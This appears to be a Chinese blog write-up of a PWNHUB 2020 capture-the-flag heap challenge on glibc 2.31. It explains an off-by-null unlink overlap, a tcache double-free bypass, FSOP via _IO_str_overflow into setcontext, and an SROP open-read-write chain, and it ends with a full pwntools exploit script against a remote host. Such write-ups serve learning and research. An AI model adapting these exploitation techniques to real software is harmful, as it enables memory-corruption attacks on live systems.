みんな、良いお年を
又是新的一年,今年一定要更加努力哦!也希望正在看我的博客的各位越来越好,成为AK全场的大师傅!
感谢cnitlrt师傅这段时间以来对我的照顾!让我学到了很多很多!
题目背景
来自PWNHUB2020内部赛的一道题目,经过朋友的邀请我加群想看看题目。
结果没想到,开局就是给我当头一棒。
这道题目,应该是放出来了将近一天,任然没有人拿到一血,所以主办方放出了一些提示。
但是,在libc-2.31下的题目我可是一次都没有做过啊,对于更新的检查啥的我也是从来没有了解过。经过这道题目,我对libc-2.31有了一个浅显的认识。
题目出的非常好,结合的知识点相当全面,使我受益匪浅。
题目一览
给出的hint很有限,但是起码知道了一个入手点。接下来我们来看看具体的代码。
先来看看开头的那个函数干了什么。这里似乎用到了一些花指令的东西,我们尝试在他下面用p键建立IDA未能自动识别的函数。
在这个函数内,我们可以看到:
使用ptctl开启了沙箱保护,这里我们用seccomp-tools进行检测。
通过检测后的代码可以很清楚的看到,几乎程序禁用了大部分可以执行shell的函数(间接调用),所以这道题我们需要考虑用orw(open,read,write)来读写flag。
接下来就要开始阅读程序功能
这是整体的代码逻辑,程序有两个主功能:
add函数中对malloc的size做了限制,不能够大于0x200。
这也就遏制了我们利用largebin attack的一些念想。
程序主功能只有两个,但是通过free_hook,程序还加入了另外两个功能:
没错,程序通过free_hook引入了两个功能,edit_heap和show_heap,但是这也意味着,在使用这两个功能之后就必须free掉这个chunk。
而在edit_heap函数中,就存在很明显的off by null
但是在这里读取size的形式和以前不太一样,他是根据堆块的位置去寻找堆块前的size位,然后根据size位的内容进行读写(-9 的原因是,prev_inuse = 1,堆块对齐 = 8),读写的过程中存在off by null。
show函数通过puts来输出堆块内容:
利用过程
这次的利用思路采取自然联想的方法,从一个入手点出发,逐个解决会遇到的问题,与做题的真实情况较为贴切。
1.如何构造才能利用 off by null
我们肯定要先想办法利用off by null来构成一个UAF才能进行下一步的利用。
但是在libc2.31上的话,off by null是比较难利用的,我们一般利用off by null来构造重叠堆块(house_of_einherjar)来进行UAF,但是在libc2.29的时候,unlink的时候对size位进行了检测,使得使用这种方法会报错。
对于glibc-2.29新加入的检测可以看这篇文章(http://blog.eonew.cn/archives/1167#chunk_extend)
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
通过这样的检测,使得我们无法使用一般的方法进行构造堆重叠,所以在这次更新后,off by null的利用只有唯一的方法——伪造FD和BK。
早在前段日子,我们就学习过如何构造FD和BK来控制bss段上的heap_ptr数组,而这里也是类似于那里的绕过方法。
我们需要知道当前堆栈的指针,然后伪造才能当前堆块的FD和BK指向当前堆块。
这样的利用方法,类似于:http://blog.eonew.cn/archives/1233这道题,大家有兴趣的可以学习一下。
2.怎么才能泄露堆地址
这可能是这道题中最简单的一个部分,泄露堆地址。
由于libc版本高于libc-2.27,所以程序应该默认开启了tcache机制,我们知道tcache类似于fastbin,当堆块被free状态下时,会利用fd位置作为指向下一个堆块位置。
所以我们这里就可以利用这个机制,当我们申请回这个堆块的时候,这块位置的内容不会被清空,所以我们直接输出这里的内容,就可以轻松获得在堆上的一个指针,通过偏移计算出heapbase。
这里我们由于在申请堆块的时候,必须要写入一个字符,所以我这里写入的 'a' 会覆盖掉部分的指针内容,不过这并不影响我们计算偏移值。
# leak heapbase by tcache
add(0x18) # 0
add(0x18) # 1
free(0)
free(1)
add(0x18) # 0
free(0)
r.recvuntil('Info:')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x261
log.success("heap_base: " + hex(heap_base))
3.具体怎么来伪造FD和BK,需要伪造哪些内容
首先我们要找到一个位置,这个位置可以指向堆块的头部。
我们首先需要绕过这个检测
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
我们可以构造 FD = ptr - 0x18, BK = ptr - 0x10,*ptr = fake_chunk_ptr,从而绕过检测。
如果这里没搞懂的,可以看一下我之前写的unlink的文章。
其次我们需要伪造最后一个堆块的prev_inuse和prev_size,这两个指针的内容。
PREV_INUSE我们可以通过off by null来复写0xF8 size的堆块,使其size位从
0x101 变成了 0x100。
其次就是伪造prev_size,来绕过这个新加入的检测机制。
这里需要注意的几点是:
1.由于edit之后会直接free掉,所以我们这里用于off by null的那个chunk,一定不能复写prev_size的内容(如果是进入unsorted bin就会复写)。所以我们这里要让off by null的chunk进入tcache中,这样就不会复写那部分的内容。
2.当我们free最上面的那个堆块的时候(现在看来好像不是必要的,应该是那个时候脑抽了)。
不能覆盖掉伪造的size位,而glibc-2.29以上的tcache中有一个key位,这个位的写入会覆盖掉我们伪造的size位,从而导致报错。所以我们这里只能让他写入next的位置,也就是让这个堆块进入到fastbin中(把tcache填满)。
3.当我们要申请0x68 size的堆块的时候,会优先去tcache中申请,但是在这之前tcache都被我们填满了内容,所以我们要把tcache的数据全部都拿出来。这样在下一次申请的时候才能够从unsorted bin中分割。
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
unlink利用代码:
# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10
add(0x68, 'a' * 8 + p64(0x101) + p64(FD) + p64(BK) + p64(chunk_addr)) # 0
add(0x68, 'target') # 1 overlapping
add(0x28) # 2
add(0xF8) # 3
add(0x28) # 4
fill(0x68, 5)
fill(0xF8, 5)
edit(2, 'a' * 0x20 + p64(0x70 + 0x70 + 0x30 - 0x10)) # insert to tcache
free(0) # insert to fastbin
free(3) # insert to unsortedbin => unlink
add(0x58, 'a' * 8) # 0
for i in range(0x8):
add(0x68) # 2, 3, 5, 6, 7, 8, 9, 10
add(0x68) # 11 overlapping with 1
add(0x128) # 12
4.堆块重叠后怎么来任意写
我这里首先考虑到的就是相对方便的tcache,我们可以利用tcache double free,由于新版本加入了key的检测,我们直接利用野指针来进行double free的方法以及失效(不过这道题也没有)。
检测就是,如果当前key的内容将要释放的tcache的指针内容对应,那么会对tcache列表进行一个遍历来判断有没有double free。
所以有了这样的检测,我们在fastbin attack中常用的a->b->a方法也无法绕过。
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
我自己想到了两种绕过方法
1.修改size位让tcache free进入不同的位置
2.利用UAF来清空key的内容。
我们这里就利用第二种方法。通过overlapping chunk来清空key的内容,从而构成double free。
绕过了检测后,我们就要考虑怎么样才能任意写,一种方法是直接修改tcache的next内容来劫持到想要写的地方,由于tcache没有size检测,这会变的非常的容易,但是这种方法的弊端就是,我们一次off by one之后只能任意写一次。
而且这里由于开启了沙箱保护,我们一次写入的肯定不够,所以我们选择另外一种简单又方便的方法:劫持tcache struct 的内容。
劫持这部分内容,可以修改其中的数据,达到任意分配的目的。这一部分的细节我不再展开,有兴趣的可以看我之前写过的tcache利用。
这部分的坑点:
1.修改tcache struct的时候会遇到一个新的检测:
当malloc的时候会检测tcache的counts是否大于0,只有大于0才会从tcache中取出,所以如果我们修改结构到一个counts为0的index上,那么是申请不出来的,不过也不会报错。
具体的代码我还没有找到,先留个坑,有知道的师傅可以评论区留言一下。
# bypass tcache counts check
add(0x68) # 0
free(0)
# tcache double free
free(1)
edit(11, p64(0) * 2) # bypass tcache check
# uaf & tcache attack tcache struct
add(0x68, p64(heap_base + 0xb0)) # 0
add(0x68, p64(heap_base + 0xb0)) # 1
add(0x68, p64(malloc_hook_addr) + p64(0) * 9 + p64(stdout_addr)) # 11
5.如何泄露libc
这部分也比较容易,我们可以利用unsorted bin leak来达到目的,这里就不做过多的讲解了。
这里我计算出了很多变量的数据,这部分数据在接下来的利用过程中我会做介绍。
# unsorted bin leak libc
free(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 592 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))
setcontext_addr = libc_base + libc.dump('setcontext')
log.success("setcontext_addr: " + hex(setcontext_addr))
stdout_addr = libc_base + libc.dump('_IO_2_1_stderr_')
log.success("stdout_addr: " + hex(stdout_addr))
pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229
6.如何构造才能ORW
这一步是我在这之前从未接触过的,这一部分的内容非常巧妙,希望各位仔细品读,cnitlrt师傅的文章:https://www.anquanke.com/post/id/216290#h3-2
我们可以利用setcontext函数来做SROP,从而把堆上的利用转化为ROP链的设计。
但是我们知道,调用setcontext函数需要传入一定的参数。
int setcontext(const ucontext_t *ucp);
所以我们遇到的一个问题是,如何才能传参数,一般都会想到的是__free_hook吧,但是好巧不巧的是,这道题的__free_hook被用于去做edit和show这两件事情了,我们就算写入了也不会被执行,所以这里只能利用__malloc_hook来劫持,但是如何才能通过__malloc_hook传递我们想要的参数呢?
如果这道题对size没有限制,那么我们设置的size大小就会成为参数,可惜这道题限制了size大小不能超过0x200,所以我们不能简单的利用malloc进行传参。
这里可以考虑到一个函数,_IO_str_overflow,我们修改vtable指向这个函数(由于glibc2.27以上就对vtable的范围做了检测,所以这里我们不能简单的修改vtable到堆上的某个位置)。
然后我们可以利用FSOP,在程序退出执行_IO_flush_all_lockp的时候,使得程序去执行_IO_str_overflow函数。
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
这部分的构造方法,我在之前已经提及:http://blog.wjhwjhn.com/archives/138/
如果有不懂的,可以去了解一下如何构造进行传参。
7.怎么出错了?
没错,第六步的传参思路是有问题的,让我们来回到setcontext。
我们可以发现在之前的版本中setcontext的代码是这样的:
http://blog.eonew.cn/archives/993
<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
由于我们不能够执行,fldenv [rcx]这一行代码,我们通常都是设置__malloc_hook到setcontext+53这个位置的,然后利用第一个参数正好是rdi来进行利用。
没想到的是,在glibc2.29版本,这部分内容发生了改动,变成了以下这个样子。
.text:0000000000055E00 public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h]
.text:0000000000055E08 xor edx, edx
.text:0000000000055E0A mov edi, 2
.text:0000000000055E0F mov r10d, 8
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; $!
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn
没错,之前的这些数据内容,都从rdi转到了rdx,这让我们的利用难度提升了。
因为rdx是x64传入第三个参数的时候才会用到的,我们这里肯定没有可以劫持的地方可以用于传入三个参数。
不过,多调试肯定不会吃亏,在调试的过程中,我在_IO_str_overflow函数中发现了一个大宝贝。
没错,在执行_IO_str_overflow的时候会把rdx赋值为一个值,而这个值正是指向我们可控的stderr位置。(我这里FSOP利用的是stderr这个fp指针)
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
我们通过上面的表格来找一找0x28位置对应的内容,发现正好对应的是_IO_write_ptr指针,这个指针在之前的构造中我们是改为0xffffffffffffffff,来使得在if判断的时候一定能够成功,而这里我们构造成我们可控的堆块地址,这样的话其实也是一个比较大的数(如果开启了PIE),那么也可以当做一个有效的构造,更重要的是,我们可以利用这个来传参到setcontext。
所以我们只要构造成如下图所示,那么我们就可以传参到setcontext了。
图中_IO_write_ptr指针位置为可控的堆块。
满足了这些条件后,我们再用fsop来看看是否可以执行。
题外话
以上方法构造较为巧妙,如果不使用rdx残余信息或者不通过操作IO_FILE(比如__free_hook可以利用的情况下)那该怎么办呢?
我们可以考虑使用ropper在libc中搜索到一个gadget,该gadget形式一般如下。
ropper -f "./libc-2.31.so" --search "mov rdx"
通过类似这样的gaget,来把rdi的参数传递到rdx上,然后根据gadget再构造堆块信息。
在libc-2.31下gadget的形式一般是:
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
在libc-2.29下gadget的形式一般是:
mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
libc-2.27及以下,参数直接是rdi,所以不需要gadget。
找到了一张描述该过程的图片,可以根据图片上的内容来更为形象的理解:
图片来源:https://bbs.pediy.com/thread-263640.htm
8.ORW的ROP链设计
完成了以上步骤后,我们才可以成功的执行setcontext来构造SROP,这个利用链大概是这样的。
exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw
接下来我们就可以利用setcontext来控制到程序的rsi,下一步我们只需要构造ROP链即可。
要构造出ROP链,我们首先就要需要几个能够控制寄存器的gadget。
我们这里利用ROPgadget和ropper一起来找ROP,
我是通过ROPgadget来找到了以下ROP
pop rax ; ret
通过命令:
ROPgadget --binary=libc-2.31.so | grep "pop rax"
找到了这一行
0x000000000004a550 : pop rax ; ret
pop rdi ; ret
通过命令:
ROPgadget --binary=libc-2.31.so | grep "pop rdi"
找到了这一行
0x0000000000026b72 : pop rdi ; ret
pop rsi ; ret
通过命令:
ROPgadget --binary=libc-2.31.so | grep "pop rsi"
找到了这一行
0x0000000000027529 : pop rsi ; ret
pop rdx ; ret
这个命令我没有找到较为合适的,但是后来经过思考,发现似乎并不需要,在RW过程中,我们第三个参数都是size,我们只要在setcontext的时候直接设置rdx为0x100,接下来就不需要对他进行修改,一直保留着这个内容
syscall ; ret
这个命令我在ROPgadget没有找到合适的,后来问了一下师傅,听说可以用ropper找到,那我就尝试了一下。如果有更好的方法欢迎各位指出!
我是用ropper的asm功能实现的:
ropper --asm "syscall;ret"
先得到这个指令的汇编指令内容:0f05c3
然后通过ropper的opcode搜索功能进行搜索
ropper --file libc-2.31.so --opcode 0f05c3
得到:
0x0000000000066229: 0f05c3;
注意,我们这里搜索的gadget都是在libc中的,因为我们有libc的基址所以可以这样利用。但是这道题有个恶心的地方就在于他没有给libc,所以我们得到的这些偏移应该要和服务器libc的偏移一致,我这里运气比较好,本地打通了,服务器也正好打通了。
找到了以上的gadget后,我们就可以构造ROP链了。
这里需要记住的几个知识点:
1.syscall,通过rax来传递调用号
2.setcontext是不能够设置rax的值,因为在结尾处做了xor eax,eax。其实这个就是优化版的mov eax,0。
3.open的调用号是2,read的调用号是0,write的调用号是1
4.要给伪造后的rsp的上部预留一些空间(在setcontext中至少预留要0x8),尽量不要在这之上填写有用的信息,比如我刚开始的时候把“flag”字符串放在这个位置,结果在执行的时候就被覆盖掉了。
其他细节就看代码吧!
# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc_base + 0x25679 # ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = str(frame).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
add(0x200, payload) # fake_frame
9.成功啦!
在程序的执行的最后,我们终于成功得到了flag。
总结
最后一步可以说是这也是我研究了十多个小时(睡觉都没睡好)最终得到的一些认可吧,我觉得题目出的相当的好,结合了绝大多数我会的和我不会的知识点,让我受益匪浅。
当然,只有我自己一定肯定不能够成功,这里还是要多谢cnitlrt师傅对我的帮助。
PS:我没有参加比赛,我也没有提交flag,研究此题的目的就是学习
EXP:
from pwn import *
from LibcSearcher import *
# r = process('./pwn')
r = remote('139.217.102.146', 65386)
context.log_level = "debug"
context.arch = "amd64"
def choice(idx):
r.sendlineafter("choice:", str(idx))
def add(size, content='a'):
choice(1)
r.sendlineafter("Size of info:", str(size))
r.sendafter("Info:", content)
def edit(idx, content):
choice(2)
r.sendlineafter("index:", str(idx))
choice(1)
r.sendafter("Info:", content)
def show(idx):
choice(2)
r.sendlineafter("index:", str(idx))
choice(2)
def free(idx):
show(idx)
def fill(size, idx):
for i in range(0x7):
add(size)
for i in range(0x7):
free(idx + i)
# leak heapbase by tcache
add(0x18) # 0
add(0x18) # 1
free(0)
free(1)
add(0x18) # 0
free(0)
r.recvuntil('Info:')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x261
log.success("heap_base: " + hex(heap_base))
# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10
add(0x68, 'a' * 8 + p64(0x101) + p64(FD) + p64(BK) + p64(chunk_addr)) # 0
add(0x68, 'target') # 1 overlapping
add(0x28) # 2
add(0xF8) # 3
add(0x28) # 4
fill(0x68, 5)
fill(0xF8, 5)
edit(2, 'a' * 0x20 + p64(0x70 + 0x70 + 0x30 - 0x10)) # insert to tcache
free(0) # insert to fastbin
free(3) # insert to unsortedbin => unlink
add(0x58, 'a' * 8) # 0
for i in range(0x8):
add(0x68) # 2, 3, 5, 6, 7, 8, 9, 10
add(0x68) # 11 overlapping with 1
add(0x128) # 12
# unsorted bin leak libc
free(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 592 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))
setcontext_addr = libc_base + libc.dump('setcontext')
log.success("setcontext_addr: " + hex(setcontext_addr))
stdout_addr = libc_base + libc.dump('_IO_2_1_stderr_')
log.success("stdout_addr: " + hex(stdout_addr))
pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229
# bypass tcache counts check
add(0x68) # 0
free(0)
# tcache double free
free(1)
edit(11, p64(0) * 2) # bypass tcache check
# uaf & tcache attack tcache struct
add(0x68, p64(heap_base + 0xb0)) # 0
add(0x68, p64(heap_base + 0xb0)) # 1
add(0x68, p64(malloc_hook_addr) + p64(0) * 9 + p64(stdout_addr)) # 11
# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc_base + 0x25679 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = str(frame).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
add(0x200, payload) # fake_frame
# hijack IO_FILE(stderr)
stderr_payload = p64(0) + p64(0) * 4 + p64(fake_frame_addr) + p64(0) + p64(0) + p64(0)
stderr_payload = stderr_payload.ljust(0xD8, '\x00') + p64(libc_base + 0x1ed560) # _IO_str_jumps
add(0xF8, stderr_payload)
# hijack __malloc_hook
add(0x58, p64(setcontext_addr + 61))
# exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw
choice(3)
r.interactive()